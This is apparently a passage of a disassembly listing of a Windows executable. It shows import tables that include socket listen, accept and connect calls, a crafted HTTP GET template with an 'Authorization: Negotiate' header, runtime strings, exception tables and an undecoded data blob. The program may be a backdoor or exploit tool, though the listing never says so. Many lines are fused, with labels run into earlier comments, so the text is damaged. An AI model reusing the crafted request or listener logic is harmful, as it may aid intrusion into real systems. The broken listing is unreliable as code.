loc_41E2F3: ; DATA XREF: sub_403053o
mov eax, offset dword_41FE50
jmp loc_4141AB
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+14h]
jmp loc_4034BF
; ---------------------------------------------------------------------------
loc_41E308: ; DATA XREF: seg001:0041FEACo
lea ecx, [ebp-1Ch]
jmp loc_4034BF
; ---------------------------------------------------------------------------
loc_41E310: ; DATA XREF: sub_4031F5o
mov eax, offset dword_41FE80
jmp loc_4141AB
; ---------------------------------------------------------------------------
align 4
loc_41E31C: ; DATA XREF: sub_4037A2o
mov eax, offset dword_41FEB0
jmp loc_4141AB
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-20h]
jmp loc_4034BF
; ---------------------------------------------------------------------------
loc_41E330: ; DATA XREF: sub_41DE40o
mov eax, offset dword_41FF88
jmp loc_4141AB
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-14h]
jmp sub_41E245
; ---------------------------------------------------------------------------
loc_41E344: ; DATA XREF: sub_41DE9Ao
mov eax, offset dword_41FFB0
jmp loc_4141AB
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_41E245
; ---------------------------------------------------------------------------
loc_41E358: ; DATA XREF: sub_41DF28o
mov eax, offset dword_41FFF8
jmp loc_4141AB
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_41E245
; ---------------------------------------------------------------------------
loc_41E36C: ; DATA XREF: sub_41DF81o
mov eax, offset dword_420020
jmp loc_4141AB
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_41E245
; ---------------------------------------------------------------------------
loc_41E380: ; DATA XREF: sub_41DFDEo
mov eax, offset dword_420048
jmp loc_4141AB
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-20h]
jmp loc_4034BF
; ---------------------------------------------------------------------------
loc_41E394: ; DATA XREF: sub_41E06Co
mov eax, offset dword_4200B0
jmp loc_4141AB
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_41E245
; ---------------------------------------------------------------------------
loc_41E3A8: ; DATA XREF: sub_41E0C6o
mov eax, offset dword_4200D8
jmp loc_4141AB
; ---------------------------------------------------------------------------
align 1000h
seg000 ends
; Section 2. (virtual address 0001F000)
; Virtual size : 00002000 ( 8192.)
; Section size in file : 00002000 ( 8192.)
; Offset to raw data for section: 0001F000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
seg001 segment para public 'CODE' use32
assume cs:seg001
;org 41F000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_41F000 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess dd 7C833478h
dword_41F008 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; sub_41D8D5+261r
dword_41F00C dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; sub_41D8D5+B9r
dd 7C832044h, 7C80BCCFh, 7C809E01h
dword_41F01C dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_41BFE9+6r
dd 7C812641h, 7C81DC03h
dword_41F028 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; seg000:0041B3B4r
dd 7C838A0Ch, 7C810E51h, 7C812F39h, 7C80CC97h
dword_41F03C dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsW dd 7C80C058h
dword_41F044 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; seg000:00401C13r ...
dd 7C80A427h, 7C82FA46h, 7C814EEAh
dword_41F054 dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTime ; sub_409615+Dr ...
dword_41F058 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_4032B0+19Cr ...
dd 7C80B4CFh, 7C83632Dh, 7C8361EEh
dword_41F068 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_40571E:loc_405A86r ...
dword_41F06C dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_40571E+33Ar ...
dword_41F070 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_404EDA+B2r ...
dd 7C810A77h
dword_41F078 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_404EDA+25r ...
dword_41F07C dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; seg000:0040ACBBr ...
dd 7C80EDD7h, 7C80E7ECh, 7C80E866h
dword_41F08C dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileA ; sub_404858+5D7r ...
dword_41F090 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileA ; seg000:00406D6Er
dword_41F094 dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; seg000:00408C0Br ...
dword_41F098 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_409BA0+259r ...
dword_41F09C dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSectiondword_41F0A0 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_41F0A4 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_41F0A8 dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_405E47+22Fr
dword_41F0AC dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_406E9A:loc_40738Ar ...
dword_41F0B0 dd 3E7574h ; sub_417F7F+15r ...
dword_41F0B4 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA dd 7C82F7A0h
dword_41F0BC dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlockdword_41F0C0 dd 7C80FF19h ; resolved to->KERNEL32.GlobalLock dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h
dd 7C802367h, 7C8329D9h, 7C812782h, 7C810D87h, 7C835DCAh
dd 7C81AE17h, 7C85F90Fh, 7C80DDFEh
dword_41F0F8 dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipedword_41F0FC dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; seg000:0041260Br
dd 7C8310F2h
dword_41F104 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; seg000:0040AB97r ...
dd 7C831EABh, 7C8309E1h, 7C809920h, 7C8286EEh, 7C802520h
dd 7C80E93Fh, 7C81CE03h, 7C835E8Fh
dword_41F128 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; seg000:0041A00Er ...
dword_41F12C dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_415A89+54r ...
dd 7C8216A4h, 7C801E16h
dword_41F138 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoA dd 7C830B14h
dword_41F140 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_41556F+AFr ...
dword_41F144 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_416BB8+2C4r ...
dword_41F148 dd 7C937A40h ; resolved to->NTDLL.RtlUnwind dd 7C8350BFh, 7C80176Bh
dword_41F154 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_4171EC+28r
dd 7C801EEEh, 7C812F1Dh
dword_41F160 dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_41F164 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_41F168 dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_41F16C dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_41F170 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_41729D+51r
dd 7C809E79h
dword_41F178 dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; sub_41E299+2Er
dword_41F17C dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeap dd 7C838DE8h
dword_41F184 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; seg000:00419F4Er ...
dd 7C812E76h, 7C809915h, 7C8127A7h
dword_41F194 dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilter dd 7C81DF77h
dword_41F19C dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsWdword_41F1A0 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_41ABB0+E1r
align 8
dword_41F1A8 dd 71AB2BF4h ; resolved to->WS2_32.inet_addrdword_41F1AC dd 71AB406Ah ; resolved to->WS2_32.connectdword_41F1B0 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_403F31+8Er
dword_41F1B4 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_403EB4+15r
dword_41F1B8 dd 71AB3EA1h ; resolved to->WS2_32.setsockoptdword_41F1BC dd 71AB4519h ; resolved to->WS2_32.ioctlsocketdword_41F1C0 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_403EB4+41r
dword_41F1C4 dd 71AB3E00h ; resolved to->WS2_32.binddword_41F1C8 dd 71AB88D3h ; resolved to->WS2_32.listendword_41F1CC dd 71AC1028h ; resolved to->WS2_32.acceptdword_41F1D0 dd 71AB615Ah ; resolved to->WS2_32.recvdword_41F1D4 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_403EB4+68r ...
dword_41F1D8 dd 71AB3B91h ; resolved to->WS2_32.socket ; seg000:00403925r ...
dword_41F1DC dd 71AB428Ah ; resolved to->WS2_32.send ; seg000:00403995r ...
dword_41F1E0 dd 71AB2DC0h ; resolved to->WS2_32.select ; seg000:004039C6r
dword_41F1E4 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSet align 10h
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4031F5+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
dbl_41F230 dq 1.388888888888889e-2 ; DATA XREF: sub_403007+2Fr
dbl_41F238 dq 1.666666666666667e-1 ; DATA XREF: sub_403007+15r
dword_41F240 dd 0FFFFFFFFh ; sub_4034C7r ...
align 8
dbl_41F248 dq 1.333333333333333 ; DATA XREF: sub_403053+79r
dword_41F250 dd 0 ; sub_403577+5Bo ...
dword_41F254 dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dd 0
dbl_41F658 dq 9.765625e-4 ; DATA XREF: seg000:0040A43Ar
; seg000:0040A455r ...
dbl_41F660 dq -3.0517578125e-5 ; DATA XREF: sub_4123FC+1Er
dbl_41F668 dq 1.0 ; DATA XREF: sub_413F02+6Cr
; sub_41404B+6Cr ...
dword_41F670 dd 0FFFFFFFFh, 415C5Fh, 415C73hbyte_41F67C db 6 ; DATA XREF: sub_415DDC:loc_415E33r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: seg002:off_42D0ECo
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: seg002:off_42D0E8o
align 10h
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 10h
aAtan db 'atan',0
align 4
aAcos db 'acos',0
align 10h
aAsin db 'asin',0
align 4
aTanh db 'tanh',0
align 10h
aCosh db 'cosh',0
align 4
aSinh db 'sinh',0
align 10h
aLog10 db 'log10',0
align 4
aLog db 'log',0
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: seg002:off_42D314o
align 8
dbl_41F7A8 dq 0.0 ; DATA XREF: sub_417A2C+8Cr
; sub_417A2C+ACr ...
dbl_41F7B0 dq 4.195835e6 ; DATA XREF: sub_417F41+Fr
dbl_41F7B8 dq 3.145727e6 ; DATA XREF: sub_417F41+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_417F7F+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_417F7Fo
align 4
aE000 db 'e+000',0 ; DATA XREF: sub_4180A6+93o
align 10h
dword_41F7F0 dd 0FFFFFFFFh, 418791h, 41879Bh, 0dword_41F800 dd 0FFFFFFFFh, 0 dd offset loc_418917
align 10h
dd offset sub_4188F5
dd offset sub_4188FF
dword_41F818 dd 0FFFFFFFFh, 418B47h, 418B4Bh, 0dword_41F828 dd 0FFFFFFFFh, 418BA9h, 418BB2h, 0dword_41F838 dd 0FFFFFFFFh, 0 dd offset loc_418C7D
align 8
dd offset loc_418C69
dd offset loc_418C6D
dword_41F850 dd 0FFFFFFFFh, 0 dd offset loc_418CD3
align 10h
dd offset loc_418CBF
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 8Ch, 41h, 0
dword_41F868 dd 2 dup(0) ; seg000:0041B2C0o ...
dword_41F870 dd 0FFFFFFFFh, 419F11h, 419F15h, 0FFFFFFFFh, 419FC5h, 419FC9h
; DATA XREF: seg000:00419E06o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 10h
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 10h
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 10h
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 10h
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 10h
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: seg002:off_42D75Co
db '- floating point not loaded',0Dh,0Ah,0
align 10h
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0
align 4
db 0Ah
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah
db 0Ah
db 'Program: ',0
align 4
a___ db '...',0
aProgramNameUnk db '<program name unknown>',0
align 8
dword_41FB78 dd 0FFFFFFFFh, 41B380h, 41B384haSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_41C1F2+Ao
align 4
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: seg000:0041C7BBo
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: seg000:0041C7B3o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: seg000:0041C7A2o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_41D094:loc_41D189o
align 10h
a1Inf db '1#INF',0 ; DATA XREF: sub_41D094+D8o
align 4
a1Ind db '1#IND',0 ; DATA XREF: sub_41D094+C7o
align 10h
a1Snan db '1#SNAN',0 ; DATA XREF: sub_41D094+ADo
align 4
dword_41FC18 dd 0FFFFFFFFh, 41DA8Ch, 41DA90h, 0FFFFFFFFh, 41DAFBh, 41DAFFh
; DATA XREF: sub_41D8D5+5o
dd 41FD38h
off_41FC34 dd offset loc_41E038 ; DATA XREF: sub_41DE40+4Do
; sub_41E054+Co
dd offset sub_41DEFE
dd offset sub_41E01B
aStringTooLong db 'string too long',0 ; DATA XREF: sub_41DE40+1Eo
dd offset dword_41FD70
off_41FC54 dd offset loc_41DF65 ; DATA XREF: sub_41DE9A+4Eo
; sub_41DF28+11o ...
dd offset sub_41DEFE
dd offset sub_41DF0B
dd offset dword_41FDC0
off_41FC64 dd offset loc_41E120 ; DATA XREF: sub_41E06C+4Do
; sub_41E13C+Co
dd offset sub_41DEFE
dd offset sub_41E103
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_41E06C+1Eo
dd offset dword_41FDF0
off_41FC8C dd offset sub_41E1A2 ; DATA XREF: sub_41E1BE+8o
; sub_41E1FB+8o ...
dd offset sub_41E25B
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_41E25B+7o
align 4
dd offset dword_41FE38
off_41FCAC dd offset loc_41E27D ; DATA XREF: sub_41E268o
; seg002:off_42DE80o ...
dword_41FCB0 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0)
off_41FCD0 dd offset off_42DE80 ; DATA XREF: seg001:0041FD20o
; seg001:0041FD54o ...
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_41FCE8 dd offset off_42DE98 ; DATA XREF: seg001:0041FD1Co
; seg001:0041FD50o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
off_41FD00 dd offset off_42DEB8 ; DATA XREF: seg001:0041FD18o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_41FD00
dd offset off_41FCE8
dd offset off_41FCD0
dd 0
db 0 ; DATA XREF: seg001:0041FD48o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 41FD18h, 3 dup(0)
dd offset off_42DEB8
dd offset unk_41FD28
align 10h
dd offset off_41FCE8
dd offset off_41FCD0
dword_41FD58 dd 4 dup(0) dd 2, 41FD50h
dword_41FD70 dd 3 dup(0) dd offset off_42DE98
dd offset dword_41FD58+8
align 8
off_41FD88 dd offset off_42DED8 ; DATA XREF: seg001:0041FDA0o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_41FD88
dd offset off_41FCE8
dd offset off_41FCD0
dword_41FDAC dd 3 dup(0) dd 3, 41FDA0h
dword_41FDC0 dd 3 dup(0) dd offset off_42DED8
dd offset dword_41FDAC+4
dd offset off_41FCD0
dword_41FDD8 dd 4 dup(0) dd 1, 41FDD4h
dword_41FDF0 dd 3 dup(0) dd offset off_42DE80
dd offset dword_41FDD8+8
align 8
off_41FE08 dd offset off_42DEF8 ; DATA XREF: seg001:0041FE20o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_41FE08
dd 0
db 0 ; DATA XREF: seg001:0041FE48o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 41FE20h
dword_41FE38 dd 3 dup(0) dd offset off_42DEF8
dd offset unk_41FE28
align 10h
dword_41FE50 dd 19930520h, 2, 41FE70h, 5 dup(0) dd 0FFFFFFFFh, 41E2DCh, 0
dd offset sub_41E2D4
dword_41FE80 dd 19930520h, 2, 41FEA0h, 5 dup(0) dd 0FFFFFFFFh, 41E300h, 0
dd offset loc_41E308
dword_41FEB0 dd 19930520h, 2, 41FED0h, 1, 41FEE0h, 3 dup(0)
; DATA XREF: seg000:loc_41E31Co
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 41FEF8h, 4 dup(0)
dd offset loc_4037E1
dd 0
dd offset off_42DE80
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 41E1FBh, 2 dup(0)
dd offset off_42DE98
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 41DF81h, 2 dup(0)
dd offset off_42DEB8
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 41E054h, 0
dword_41FF68 dd 3, 41FF48h, 41FF28h, 41FF08hdword_41FF78 dd 0 ; sub_41E01B+12o
dd offset sub_41DFDE
dd 0
dd offset dword_41FF68
dword_41FF88 dd 19930520h, 1, 41FFA8h, 5 dup(0) dd 0FFFFFFFFh, 41E328h
dword_41FFB0 dd 19930520h, 1, 41FFD0h, 5 dup(0)dword_41FFD0 dd 0FFFFFFFFh, 41E33Ch, 2, 41FF28h, 41FF08h, 0dword_41FFE8 dd 0 dd offset sub_41DF28
dd 0
dd offset dword_41FFD0+8
dword_41FFF8 dd 19930520h, 1, 420018h, 5 dup(0) dd 0FFFFFFFFh, 41E350h
dword_420020 dd 19930520h, 1, 420040h, 5 dup(0) dd 0FFFFFFFFh, 41E364h
dword_420048 dd 19930520h, 1, 420068h, 5 dup(0) dd 0FFFFFFFFh, 41E378h, 0
dd offset off_42DED8
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 41E13Ch, 0
dword_420090 dd 3, 420070h, 41FF28h, 41FF08hdword_4200A0 dd 0 ; sub_41E103+12o
dd offset sub_41E0C6
dd 0
dd offset dword_420090
dword_4200B0 dd 19930520h, 1, 4200D0h, 5 dup(0) dd 0FFFFFFFFh, 41E38Ch
dword_4200D8 dd 19930520h, 1, 4200F8h, 5 dup(0) dd 0FFFFFFFFh, 41E3A0h, 202E4h, 2 dup(0)
dd 20328h, 1F1A8h, 2013Ch, 2 dup(0)
dd 20AA0h, 1F000h, 5 dup(0)
dd 7DEC4752h, 2BF08C97h, 76CA8239h, 1009122Ch, 0E3690D57h
dd 430BB3C0h, 0BC324D8Ch, 973288FDh, 24DF92Bh, 6274BA8Dh
dd 340AF909h, 2594F962h, 78D4789Bh, 0F348A27Eh, 12631CC7h
dd 6D409407h, 4A3A44BAh, 2A81D25Eh, 5CC1B7CCh, 8838E22Eh
dd 6AF6692Dh, 7C75A50Bh, 5F423B68h, 3AFC509h, 0B51FAC11h
dd 0CDF40259h, 27E423DCh, 8CD64733h, 0D8685A27h, 0CD64D58h
dd 0C741E963h, 6DEC68DAh, 0D40EEC10h, 0BD89D26Eh, 74244540h
dd 5118878Bh, 10C99D07h, 2CE789h, 475C9003h, 89FEC61Dh
dd 3ED053D2h, 0B995284Fh, 8BC130AEh, 8DEF5669h, 0A11CC6E2h
dd 0C5A6E11Ah, 0F32AD082h, 0B457F41Bh, 206E4421h, 0CF9E420Ch
dd 0DB10A492h, 0C79C9E43h, 13AC6299h, 6B9766D2h, 0F7F7DC29h
dd 0F667CC96h, 0CB276976h, 87EF5CB9h, 54804B99h, 415D2F5h
dd 0BC29A78Ah, 85020A45h, 101D0BB6h, 84BBEDEFh, 22F34873h
dd 0FDF2D295h, 2FC25F7Bh, 63AF9785h, 0A324C0FBh, 84BCBADBh
dd 347CA9C5h, 4BD5F5AFh, 0CB03B2C7h, 0D0C357F3h, 0A0AD7F95h
dd 0AB57F40Eh, 84A20A4Fh, 40D12577h, 26584EA9h, 9C215186h
dd 21057C65h, 6591804Dh, 0D39FC110h, 0CA56219Ch, 5B4425EFh
dd 0F1E145D7h, 0A5AF4C2Ah, 5A0053C1h, 8B8D854Bh, 0DBB0A703h
dd 0C7C01F34h, 0E771778Eh, 6EA53399h, 0CF50CA88h, 7AC43BF3h
dd 0B2656693h, 0E8CA3369h, 4D8172F4h, 0E2BD0905h, 24E58580h
dd 587D6EBAh, 66FA223Ch, 4EEB4352h, 67A8EA3Ch, 7B98D66Dh
dd 0
dd 0FC0FA547h, 62ED4144h, 0E759727Bh, 0F9E45481h, 0E3BCB043h
dd 7653EC37h, 438B761Eh, 0BEE791C7h, 0CC60B9CFh, 73DBE84Bh
dd 0BE836ECBh, 1A5D4044h, 9DE2E2ABh, 17914E61h, 0D39677BEh
dd 70215850h, 0
dd 2834F824h, 44352D6Ah, 0A74Dh, 903007Eh, 5F3C292Dh, 1937276Fh
dd 16D0000h, 7B219998h, 0AB6D79CBh, 25DE8F77h, 2060000h
dd 39F1200Dh, 0DFF1A482h, 0C3A46DD2h, 30288E2h, 10F01738h
dd 2C58CEh, 0AD3D0207h, 0A48F6218h, 0E25AB031h, 0E6DC475Fh
dd 97CA9741h, 11D803D4h, 0C5FE91h, 205A0159h, 0ED5A7C3Ch
